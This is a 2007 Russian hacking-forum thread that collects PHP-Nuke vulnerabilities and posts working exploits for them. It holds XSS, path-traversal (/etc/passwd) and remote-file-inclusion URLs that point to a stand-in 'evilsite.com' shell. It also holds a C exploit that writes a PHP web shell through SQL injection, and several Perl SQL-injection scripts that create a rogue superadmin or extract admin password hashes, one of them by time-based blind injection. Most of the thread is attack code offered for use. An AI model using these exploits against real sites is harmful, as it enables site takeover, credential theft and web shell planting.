Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Обзор уязвимостей в PHP-Nuke (https://forum.antichat.xyz/showthread.php?t=36828)

krutoni 31.03.2007 13:52

Обзор уязвимостей в PHP-Nuke
 
Поискал, не нашёл на форму faq по уязвимостям в php-nuke. Вот собрал не большой.
PHP-Nuke 6.x, 7-7.6
Тип: XSS
Уязвимость существует в модуле search, при обработки входных данных в переменной 'min'
Примеры:
http://site.com/phpnuke/modules.php?name=Search&author=[author]&topic=0&min=999999999[XSS]&query=[our_query]&type=users&category=2
http://site.com/phpnuke/modules.php?name=FAQ&myfaq=yes&i d_cat=1&
categories=45435[XSS]
Так же можно на прямую запросить некоторые сценарии.
Примеры:
http://site.com/phpnuke/modules.php?name=Your_Account&op=my_headlines
http://site.com/phpnuke/modules.php?name=Your_Account&op=userinfo
http://site.com/phpnuke/modules.php?name=Encyclopedia&file=index&op=search

PHP-Nuke 7.8
Тип:SQL-Injection
Уязвимость при обработке входных данных в параметре username в модуле Your_Account, в параметре url модуля Downloads и в параметре description модуля Web_link. С помощью специально сформулированного URL'a, можно выполнить sql запрос.

Пример:
http://site.com/phpnuke/modules.php?name=Web_Links
& l_op=Add&title=what&description=[SQL]&url=what
http://site.com/phpnuke/modules.php?name=Downloads
&d_op=Add&url=[SQL]&title=what&description=what

Эксплоит:
Цитата:

/*================================================= =\
# SecurityReason.com |
# ( sp3x ) sp3x@securtiyreason.com |
# |
# /---------------------------\ |
# | Ctitical SQL INCJECTION | |
# | PHPNuke <= 7.8 | |
# \---------------------------/ |
# |
# PHPNuke-sp3x[1] |
# This exploit is based on 'username' |
# SQL injection vuln in Your_Account module. |
# |
# References: |
# securityreason.com/achievement_securityalert/32 |
# |
# ---| work only on mysql version > 4.0 |--- |
# |
#================================================= =*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80 // port of the web server

void begin(void);
void sqlinj(int sock, char *argv[]);

int main(int argc, char *argv[]){

int sock;
struct sockaddr_in addr;
struct hostent *hp=0;

if(argc!=4) {
begin();
}

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\n\n[-] Creating socket [FAILED]\n\n");
exit(EXIT_FAILURE);
}

printf("\n\n[+] Creating socket [OK]\n");

if((hp = gethostbyname(argv[1])) == 0) {
printf("[-] Resolving %s [FAILED]\n\n", argv[1]);
exit(EXIT_FAILURE);
}

printf("[+] Resolving %s [OK]\n", argv[1]);

memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);

if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
printf("[-] Connecting at %s [FAILED]\n\n", argv[1]);
exit(EXIT_FAILURE);
}


printf("[+] Connecting at %s [OK]\n", argv[1]);

sqlinj(sock, argv);

printf("[+] Now check the shell\n"
"[+] http://%s\n\n",argv[1]);

shutdown(sock, 2);
close(sock);

return(0);

}

void begin(void){


printf("*---------------------------------------*\n"
"* SecurityReason *\n"
"* EXPLOIT for PHPNuke <=7.8 *\n"
"* Coded by : sp3x Date : 16.02.2006 *\n"
"*---------------------------------------*\n\n"
" Usage : \n"
" PHPNuke-sp3x[1] HOST /[path_phpnuke] [s_directory]\n\n"
" HOST - Host where is phpnuke example: localhost \n"
" [path_phpnuke] - PHPNuke directory\n"
" [s_directory] - shell directory where to upload\n\n"
" Example :\n\n"
" PHPNuke-sp3x[1] www.victim.com /phpnuke/html/ /home/sp3x/nuke78/html/shell.php \n"
" After this go to http://www.victim.com/phpnuke/html/shell.php?sr=ls \n\n");
exit(0);
return;

}

void sqlinj(int sock, char *argv[]){

FILE *go;
int size = 264;
go = fdopen(sock,"a");
if (go == 0) {
perror("[-] fdopen [FAILED]\n\n");
close(sock);
exit(EXIT_FAILURE);
}

setbuf(go,NULL);

size+=strlen(argv[3]);

fprintf(go,"POST %s HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Pragma: no-cache\n"
"Cache-control: no-cache\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
"Accept-Language: en\n"
"Host: %s\n"
"Referer: http://%s%s?name=Your_Account&op=new user\n"
"User-Agent: SecurityReason - [SR]\n"
"Content-Type: application/x-www-form-urlencoded\n"
"Content-Length: %d\n\n"
"name=Your_Account&op=new user&user_email=securitybreak@securityreason.com&"
"user_password=hackme&user_password2=hackme&userna me="
"s'/**/UNION/**/SELECT/**/'<? echo \"SecurityReason Shell\";system($_GET
[sr]);'/**/FROM/**/nuke_authors/**/INTO/**/OUTFILE/**/'%s'/*\n\n"
"Cookie: lang=english\r\n\r\n",argv[2],argv[1],argv[1],argv[2],size,argv[3]);
printf("[+] Sending exploit [OK]\n\n");

}
PHP-Nuke 7.8
Тип: Межсайтовый скриптинг
Уязвимость существует из-за недостаточной обработки входных данных в параметре "pagetitle" в сценарии "header.php". С помощью специально сформулированного запроса, можно выольинть произвольный код.
Пример:
http://site.com/phpnuke/?pagetitle=title</title></head><script+src=http://xacksite.com/script.js

PHP-Nuke 7.9
Тип:SQL-inection
Уязвимость во входных данных в параметре "forwhat" в сценарии modules/journal/search.php
С помощью специально сформулированного URL'а, можно выполнить произвольный sql запрос.
Пример:
http://site.com/phpnuke/moblog/big.php?img=[SQL]&pg=1

PHP-Nuke 7.9
Тип:Обзод каталога
Можно просматривать файлы на целевой системе. Уязвимость существует в сценарии 'modules.php' из-за недостаточной обработки входных данных. Можно послать HTTP GET или POST запрос.
Пример:
http://site.com/phpnuke/modules.php?name=Search
&file=../../../../../../ ../../../etc/passwd%00

Koller 31.03.2007 15:45

1) Указано мало уязвимостей в тех или иных версиях движка этого...(milw0rm, securitylab )
2) Оформление ужасное, точнее его вовсе нет...
3) Почему-то мне кажется, что копипаст...

P.s. Если дополнишь, грамотно оформишь ==> готов буду прикрепить тему...

krutoni 31.03.2007 16:00

Это так, собрал из всего что было у меня...Постараюсь доделать и оформить.

v0rm 31.03.2007 19:00

Вот еще горстка свежих сплоитов, опубликованных на securitylab.ru для PHP-Nuke 8.0

1. PHP-Nuke <= 8.0 Final (INSERT) Remote SQL Injection Exploit

Воздействие: SQL-инъекция

Эксплоит:

Код:

#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]I registered new superadmin
#[+]You can login at http://blackshell.pl/~krasza/nuke/html/index.php
#[+]Login:krasza
#[+]Password:krasza
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$referer);
banner();
    $referer="http://www.krasza.int.pl');INSERT INTO `nuke_authors` VALUES ('krasza', 'God', 'http://www.krasza.int.pl', 'krasza\@gmail.com', '61af1f6e572d7fe3a72f54a6ac53830e', '0', '1', '";
    $zadanie->referer($referer);
    $respone=$ua->request($zadanie);
    $respone->is_success or die "$adres : ",$respone->message,"\n";
    print "[+]I registered new superadmin\n";
    print "[+]You can login at $adres \n";
    print "[+]Login:krasza\n";
    print "[+]Password:krasza\n";
    print "[+]Exploit successed\n";
sub banner{
    print "0day exploit for PHP-nuke <=8.0 Final\n";
        print "Sql injection attack in INSERT syntax\n";
    print "version for every base(PostgreSQL,mssql...) except MySQL base\n";
        print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
    print "0day exploit for PHP-nuke <=8.0 Final\n";
    print "Sql injection attack in INSERT syntax\n";
    print "version for every base(PostgreSQL,mssql...) except MySQL base\n";
    print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
    print "Use:\n";
    print "\tperl exploit.pl [url]\n";
    print "\t[url]-vicitim webpage with index.php\n";
    print "Example:\n";
    print "\tperl exploit.pl http://phpnuke.org/index.php\n";
    exit(0);
}

2. PHP-Nuke <= 8.0 Final (HTTP Referers) Remote SQL Injection Exploit

Воздействие: SQL-инъекция

Эксплоит:

Код:

#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version, when 'HTTP Referers' block is on
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version, when 'HTTP Referers' block is on
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]You can see login and hash on web page in 'HTTP referers' block
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$referer);
banner();
    $referer="http://www.krasza.int.pl'),(NULL,(SELECT `pwd` FROM `nuke_authors` WHERE `radminsuper`=1))/*";
    $zadanie->referer($referer);
    $respone=$ua->request($zadanie);
    $respone->is_success or die "$adres : ",$respone->message,"\n";
        $referer="http://www.krasza.int.pl'),(NULL,(SELECT `aid` FROM `nuke_authors` WHERE `radminsuper`=1))/*";
    $zadanie->referer($referer);
    $respone=$ua->request($zadanie);
        $respone->is_success or die "$adres : ",$respone->message,"\n";
    print "[+]You can see login and hash on web page in 'HTTP referers' block\n";
    print "[+]Exploit successed\n";
sub banner{
    print "0day exploit for PHP-nuke <=8.0 Final\n";
        print "Sql injection attack in INSERT syntax\n";
    print "version, when 'HTTP Referers' block is on\n";
        print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
    print "0day exploit for PHP-nuke <=8.0 Final\n";
    print "Sql injection attack in INSERT syntax\n";
    print "version, when 'HTTP Referers' block is on\n";
    print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
    print "Use:\n";
    print "\tperl exploit.pl [url]\n";
    print "\t[url]-vicitim webpage with index.php\n";
    print "Example:\n";
    print "\tperl exploit.pl http://phpnuke.org/index.php\n";
    exit(0);
}


3. PHP-Nuke <= 8.0 Final (INSERT) Blind SQL Injection Exploit (mysql)

Воздействие: SQL-инъекция

Эксплоит:

Код:

#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Blind sql injection attack in INSERT syntax
#version for mysql >= 4.0.24, using 'brute force'
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]Time normal query: 2 seconds
#[+]Length user's record: 5
#[+]Length password's record: 32
#[+]Login:
#admin
#[+]Password:
#b481ab90de84a345c665f1e4ef3c2
#[+]Super admin:
#admin:b481ab90de84a345c66585e1f4cf16e4
use strict;
use warnings;
use LWP;
my $offset=4;#It is the most important variable!!
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$komenda,$poczatek,$koniec,$czas_nor,$i,$j,$dlugosc_user,$user,$hash,$referer,$czy_dziala,$znak);
banner();
$czas_nor=polacz("http://www.krasza.int.pl");
print "[+]Time normal query: $czas_nor seconds\n";
$dlugosc_user=ustal_dlugosc("aid",8);
print "[+]Length user's record: $dlugosc_user\n";
print "[+]Length password's record: 32\n";
print "[+]Login:\n";
$user=brute_force_aid($dlugosc_user);
print "[+]Password:\n";
$hash=brute_force_pass(32);
print "[+]Super admin:\n";
print "$user:$hash\n";
##
sub brute_force_pass{
    my ($dlugosc)=@_;
    my ($i,$j,$referer,$wynik,$dolny_zakres);
    for($i=1;$i<=$dlugosc;$i++){
        for($j=48;$j<=122;$j++){
        $referer="http://www.krasza.int.pl'),(-1,(SELECT IF((ASCII(SUBSTRING(`pwd`,".$i.",1))=".$j.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
            $czy_dziala=czy_dziala($referer);
                if($czy_dziala==1){
                    $znak=chr($j);
                    print "$znak";
                    $wynik.=$znak;
                if($i<$dlugosc){
                    $i+=1;
                    $j=47;
                }else{
                    last;
                }
            }
            #przeskok-optymalizacja;]
            if($j==57){
                $j=96;
            }
        }
    }
        print "\n";
        return $wynik;
}
sub brute_force_aid{
        my ($dlugosc)=@_;
        my ($i,$j,$referer,$wynik,$dolny_zakres);
        for($i=1;$i<=$dlugosc;$i++){
                for($j=48;$j<=122;$j++){
                $referer="http://www.krasza.int.pl'),(-1,(SELECT IF((ASCII(SUBSTRING(`aid`,".$i.",1))=".$j.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
                $czy_dziala=czy_dziala($referer);
                        if($czy_dziala==1){
                    $znak=chr($j);
                                    print "$znak";
                    $wynik.=$znak;
                if($i<$dlugosc){
                                    $i+=1;
                    $j=47;
                }else{
                    last;
                }
                        }
            if($j==57){
                $j=64;
            }
            if($j==90){
                $j=96;
            }
                }
        }
                print "\n";
                return $wynik;
}
sub ustal_dlugosc{
    my ($pole,$len)=@_;
    my ($referer,$narazie_dziala_liczba,$nie_dziala_liczba);
    $narazie_dziala_liczba=0;
    $nie_dziala_liczba=65;
    #for($len=1;$len<64;$len++){
    while($len<=64){
        if($narazie_dziala_liczba==$len || $nie_dziala_liczba<=$len){
            return $narazie_dziala_liczba;
        }
        $referer="http://www.krasza.int.pl'),(-1,(SELECT IF((LENGTH(`".$pole."`)>".$len.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
        $czy_dziala=czy_dziala($referer);
        if($czy_dziala==1){
            $narazie_dziala_liczba=$len+1;
            $len+=2;
        }else{
            $nie_dziala_liczba=$len+1;
            $len-=1;
        }
    }
    print "[-]Exploit Failed\n";
    exit;
}
sub czy_dziala{
    my ($refik)=@_;
    my $czas_zapytania;
    $czas_zapytania=polacz($refik);
    if($czas_zapytania>$czas_nor+$offset){
        return 1;
    }else{
        return 0;
    }
}
sub polacz{
    my ($referrer)=@_;
    my ($czas,$czas_poczatek,$czas_koniec);
    $zadanie->referer($referrer);
    $czas_poczatek=time();
        $respone=$ua->request($zadanie);
        $respone->is_success or die "$adres : ",$respone->message,"\n";
        $czas_koniec=time();
    $czas=$czas_koniec-$czas_poczatek;
    return $czas;
}
sub banner{
    print "0day exploit for PHP-nuke <=8.0 Final\n";
        print "Blind sql injection attack in INSERT syntax\n";
    print "version mysql >= 4.0.24, using 'brute force'\n";
        print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
    print "0day exploit for PHP-nuke <=8.0 Final\n";
    print "Blind sql injection attack in INSERT syntax\n";
    print "version mysql >= 4.0.24, using 'brute force'\n";
    print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
    print "Use:\n";
    print "\tperl exploit.pl [url]\n";
    print "\t[url]-vicitim webpage with index.php\n";
    print "Example:\n";
    print "\tperl bruteforce.pl http://phpnuke.org/index.php\n";
    exit(0);
}

Я испытывал вышеперечисленые сплоиты на русской редакции движка PHP-Nuke 8.0, к сожалению ни один из них не подействовал на него, я сомневаюсь в кривоте своих рук, скорее придерживаюсь версии того что в русской редакции кроме перевода, также изменена местами структура движка.
Вообщем пробуйте и отписывайтесь о результатах...

Zulf 01.04.2007 08:37

Автор тема хорошая но стоит ее дописать слишком мало уязвимостей описано, да и старые это уязвимости уже везде фикс. Но за старания + однознАчно.

Colkru 01.04.2007 09:42

Еще один сплойт))

Код:

#!/usr/bin/perl

# phpnuke <= 8.0, module: Your_Account
# This exploit allows to get admin's password
# need for work:
# magic_quotes off
# ------------------------------------------------
# coded by Kermil
# 24.10.2006


use LWP::UserAgent;
use HTTP::Cookies;
use MIME::Base64;

if ( @ARGV < 3 )
{
  usage();
}


$path = $ARGV[0];
$username = $ARGV[1];
$prefix = $ARGV[2];

$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();

$xpl->cookie_jar( $cookie_jar );
$xpl->default_header('Referer' => $path );

$res = $xpl->post( $path.'modules.php?name=Your_Account&op=login',
    Content => [
                "user_password" => "abc",
                "username" => "karamba'/**/UNION SELECT '900150983cd24fb0d6963f7d28e17f72',2,1,1,1,1,1,1,pwd,1 FROM ".$prefix."_authors WHERE aid='$username'/*",

                ]);

print $res->content;

$cookie_jar->extract_cookies( $response );
$cookie = $cookie_jar->as_string();

$cookie =~ m/user=([^;]+)/;
$cookie = $1;
$decoded = decode_base64( $cookie );

@list = split( ':', $decoded );

$hash = "";

$hash = $list[9];

if ( $hash eq "" )
{
 print "Exploit failed...";
}
else
{
  print "Hash: ".$hash;
}

sub usage()
{
  print " Usage: phpnukeGetAdminPassword.pl <path> <admin's name> <prefix>\r\n";
  print " <path> - Path to phpnuke, e.g. http://phpnuke.com/\r\n";
  print " <admin's name>  - name of administrator, e.g. admin\r\n";
  print " <prefix> - prefix of tables in database, e.g. nuke\r\n";
  print "Coded by Kermil\r\n";
  exit();
}


Koller 01.04.2007 09:46

Убедительная просьба в этом топике не отписываться впредь, иначе посты будут удаляться...
Ждем пока автор топика завершит работу...потом будем иобсуждать, и дополнять...

Alexsize 02.04.2007 11:04

От себя могу добавить парочку уязвимостей в модулях.
PHP-Nuke:

_http://www.example.com/nuke_path/iframe.php?file=ftp://user pass@evilsite.com/public_html/shell.html (or) .htm

_http://www.example.com/nuke_path/htmltonuke.php?filnavn=ftp://user pass@evilsite.com/public_html/shell.html (or) .htm

Взято с Milw0rm.com


Время: 09:39